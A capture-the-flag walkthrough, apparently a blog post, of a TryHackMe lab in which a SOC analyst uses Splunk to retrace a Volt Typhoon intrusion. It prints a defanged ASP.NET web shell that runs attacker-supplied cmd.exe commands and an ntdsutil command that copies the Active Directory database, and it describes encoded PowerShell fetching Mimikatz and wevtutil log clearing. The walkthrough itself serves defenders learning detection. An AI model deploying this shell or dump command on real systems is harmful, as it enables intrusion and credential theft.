TryHackMe 'Extracted' Walkthrough - Medium
A walkthrough of the TryHackMe Extracted room covering network forensics and KeePass credential recovery.
In this TryHackMe lab, we step into the shoes of a SOC analyst investigating a suspected intrusion by Volt Typhoon (MITRE ATT&CK Group ID: G1017), a People’s Republic of China (PRC) state-sponsored threat actor that has been active since at least 2021. Volt Typhoon primarily targets critical infrastructure organizations in the United States and its territories, with a pattern of behavior assessed as pre-positioning for potential disruptive attacks against operational technology (OT) assets.
What makes Volt Typhoon particularly dangerous is their emphasis on stealth through Living Off the Land (LOTL) techniques—using legitimate system tools like wmic, ntdsutil, netsh, and PowerShell to blend in with normal administrative activity. This makes detection significantly more challenging for defenders.
Lab Scenario: The SOC has detected suspicious activity indicative of an APT intrusion. We’ve been provided with various log types from a two-week timeframe during which the suspected attack occurred. Our mission is to retrace the attacker’s steps using Splunk.
Key Resources to Reference:
MITRE ATT&CK Techniques:
Volt Typhoon frequently gains initial access by exploiting vulnerabilities in internet-facing enterprise software. In real-world incidents, they’ve been observed leveraging vulnerabilities in products like Zoho ManageEngine ADSelfService Plus, Fortinet FortiGuard, Ivanti (Pulse Secure), and Citrix appliances.
To begin our investigation, we need to comb through the ADSelfService Plus logs:
adselfserviceplus to our Splunk query to isolate these logs.dean-admin in the list of usernames. Clicking this creates our filter: adselfserviceplus username="dean-admin", which returns 63 logs.
Looking through these logs, we see several ‘Password Reset’ and ‘Password Change’ events. To narrow it down, I looked for unique events that stood out—specifically an ‘Account Update’ event with a single count that appeared suspicious.

Examining the timeline around this Account Update, we find a Password Change log immediately before it—this gives us our ISO 8601 timestamp for the initial compromise.
Using the timestamp from our previous finding, we can refine our search. Adding the day of the event to keep things somewhat broad: adselfserviceplus username="dean-admin" date_mday="24"
This only shows activity from Dean on that specific day. Since a new account creation may not show dean-admin as the acting user, we broaden our search by removing the username filter while keeping the timestamp context.
Scrolling past our initial access timestamp, we find the answer—the next log shows an ‘Enrollment’ action for a new user on the system.

MITRE ATT&CK Techniques:
Volt Typhoon heavily exploits Windows Management Instrumentation Command-line (WMIC) for execution, information gathering, and database dumping. By using these built-in “LOLBins” (Living Off the Land Binaries), they blend in with legitimate system activity, making detection extremely challenging.
First, we filter our search to WMIC logs: index="main" sourcetype=wmic
This returns a significant amount of legitimate traffic with many repeated commands. To identify anomalies, I clicked the ‘command’ field and selected ‘Rare values’ to surface unique commands.

This creates the filter index="main" sourcetype=wmic| rare limit=20 command and displays a visualization of unique commands.

Several commands stand out immediately. One in particular queries logicaldisk information from both server01 and server02—a classic reconnaissance pattern.


Note that the attacker is still leveraging the compromised dean-admin account a full day after initial access to execute commands and enumerate the environment.
ntdsutil to create a copy of the AD database. After moving the file to a web server, the attacker compresses the database. What password does the attacker set on the archive?To search for ntdsutil.exe execution, I experimented with different search queries including PowerShell and WMIC logs. Eventually, simply adding "ntdsutil.exe" to the search query narrowed it down to one log:

This reveals that dean-admin used WMIC to spawn cmd.exe, create a temp directory under C:\Windows\Temp\tmp, and then execute:
ntdsutil.exe "ac i ntds" "ifm create full C:\Windows\Temp\tmp\temp.dit"
Breaking this down:
ac i ntds - Activates the NTDS instance, preparing the utility to work with the main Active Directory databaseifm (Install From Media) - Creates a full copy of the AD database files, containing all usernames and password hashesThis is a critical credential access technique that Volt Typhoon uses to obtain domain credentials for offline cracking.
With the timestamp established, we can refine our search: index="main" "server-02-main" username="dean-admin" timestamp="2024-03-25*"
This gives us 15 events to examine. The most recent event reveals the attacker using 7-Zip to compress the database file with a password.

MITRE ATT&CK Techniques:
Web shells are a hallmark of Volt Typhoon operations. They provide persistent backdoor access while appearing as legitimate web server files.
To find evidence of Base64-encoded persistence mechanisms, we need to focus on keywords commonly used with encoded commands. Base64 strings themselves are just text blobs without identifiable patterns, but the commands that decode them are recognizable.
I tried various search terms including "certutil -decode", "FromBase64String", and file extensions like ".php" and ".jsp*". Some returned interesting results but not exactly what we needed.
Adding a broader search for "echo" statements revealed encoded text—exactly what we’re looking for.

This gives us the directory used to establish the web shell.
Decoding the Base64 payload with CyberChef reveals the script (defanged):
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System[.]Diagnostics" %>
<%@ Import Namespace="System[.]IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
}
string ExcuteCmd(string arg)
{
ProcessStartInfo psi = new ProcessStartInfo();
psi[.]FileName = "cmd[.]exe";
psi[.]Arguments = "/c "+arg;
psi[.]RedirectStandardOutput = true;
psi[.]UseShellExecute = false;
Process p = Process[.]Start(psi);
StreamReader stmrdr = p[.]StandardOutput;
string s = stmrdr[.]ReadToEnd();
stmrdr[.]Close();
return s;
}
void cmdExe_Click(object sender, System[.]EventArgs e)
{
Response[.]Write("<pre>");
Response[.]Write(Server[.]HtmlEncode(ExcuteCmd(txtArg[.]Text)));
Response[.]Write("</pre>");
}
</script>
Malicious Components Explained:
ProcessStartInfo — Configures how to spawn a new processFileName = "cmd.exe" — Executes Windows command promptArguments = "/c "+arg — The /c flag runs whatever command the attacker supplies, then terminatesRedirectStandardOutput = true — Captures command output to display back to the attackerUseShellExecute = false — Required for output redirection to workStreamReader — Reads all output from the executed command and returns it as a stringThis is a classic ASP.NET web shell known as “Awen”—a simple but effective command execution backdoor that Volt Typhoon has been observed using in real-world operations.
MITRE ATT&CK Techniques:
Volt Typhoon is meticulous about covering their tracks. They selectively clear logs, rename malicious files, and check for virtualized environments that might indicate sandbox analysis.
Using context clues from the question, we know to look for “Most Recently Used” RDP connection records. A quick search reveals these are stored in registry keys with naming conventions like MRU0, MRU1, etc.

Adding this to our search query: index="main" sourcetype=powershell "MRU*"

This reveals the PowerShell cmdlet used to delete RDP connection history.
Returning to our Execution section findings—the attacker compressed C:\Windows\Temp\tmp\temp.dit with 7-Zip. Searching for .7z shows what else was done with this archive.

The attacker renamed the archive and changed its extension to .gif to disguise the exfiltrated AD database as an innocuous image file.
Volt Typhoon routinely checks for virtualization indicators to determine if they’re operating in a sandbox or analyst environment. A search for common virtualization registry paths provides our lead.

Searching with index="main" "HKEY_LOCAL_MACHINE*" reveals the registry path being queried:

MITRE ATT&CK Techniques:
Volt Typhoon aggressively hunts for credentials using both registry queries and memory-based credential dumping tools like Mimikatz.
Adding "reg" to our PowerShell search query: index="main" sourcetype="powershell" "reg"
This returns 8 events that include three key pieces of software known to store credentials:
Initial searches for Invoke-WebRequest didn’t return useful results. I then looked for common PowerShell obfuscation flags. Remembering that -ExecutionPolicy Bypass can be shortened to -exec bypass, I updated the search: index="main" sourcetype=powershell "-exec"
This revealed a highly suspicious command with encoded Base64 payload:
-exec bypass - Bypasses PowerShell script execution restrictions-W hidden - Runs PowerShell with no visible window (stealth)-nop - Skips loading the user’s PowerShell profile-E - Indicates the following string is Base64-encoded PowerShell
Decoding with CyberChef reveals the command to download and execute Mimikatz, which then dumps credentials from an LSASS memory dump.
MITRE ATT&CK Techniques:
wevtutil, a log retrieval tool, to enumerate Windows logs. What event IDs does the attacker search for?Searching for wevtutil activity: index="main" wevtutil
To filter for Event ID queries specifically: index="main" wevtutil "EventID"

The Event IDs being searched are significant:
Returning to our Persistence findings, the original web shell was named ntuser.ini. Searching for this file: index="main" "ntuser.ini"
This returns two events. The latest shows ntuser.ini being decoded with certutil and renamed to iisstart.aspx about five minutes after initial creation.

With this breadcrumb, we search for lateral movement to server-02: index="main" "server-02" "iisstart.aspx"

This reveals the name of the new web shell deployed on the secondary server.
MITRE ATT&CK Techniques:
To view files copied via PowerShell, we search for the Copy-Item cmdlet: index="main" sourcetype=powershell "Copy-Item"

This returns 11 events revealing financial documents copied from C:\ProgramData\FinanceBackup\—exactly the kind of sensitive data APTs target for espionage purposes.
MITRE ATT&CK Techniques:
netsh to create a proxy for C2 communications. What connect address and port does the attacker use when setting up the proxy?We can search for netsh directly: index="main" "netsh"
Or use knowledge of proxy configuration syntax: index="main" connectaddress=*

Either approach reveals the proxy’s connect address and port used for command and control.
First, I checked for PowerShell log clearing with Clear-EventLog—no results. Then I searched for Get-WinEvent queries, which returned some events but no evidence of clearing.
Remembering that wevtutil was used earlier for log enumeration, I searched: index="main" sourcetype=powershell wevtutil

The most recent event shows wevtutil cl (clear) followed by the four log types that were wiped to cover the attacker’s tracks.
This investigation walked through the complete attack chain of a Volt Typhoon-style intrusion, from initial exploitation of ADSelfService Plus through data collection and C2 cleanup. Key takeaways for defenders:
Detection Opportunities:
wmic, ntdsutil, netsh, and PowerShell activity from unexpected usersntdsutil ifm commands are high-priority alertscertutil -decode commands, and suspicious .aspx/.jspx fileswevtutil cl commands are a strong indicator of cover-up activityKey Volt Typhoon Characteristics:
For more information on Volt Typhoon TTPs, reference the MITRE ATT&CK page for G1017 and CISA Advisory AA24-038A.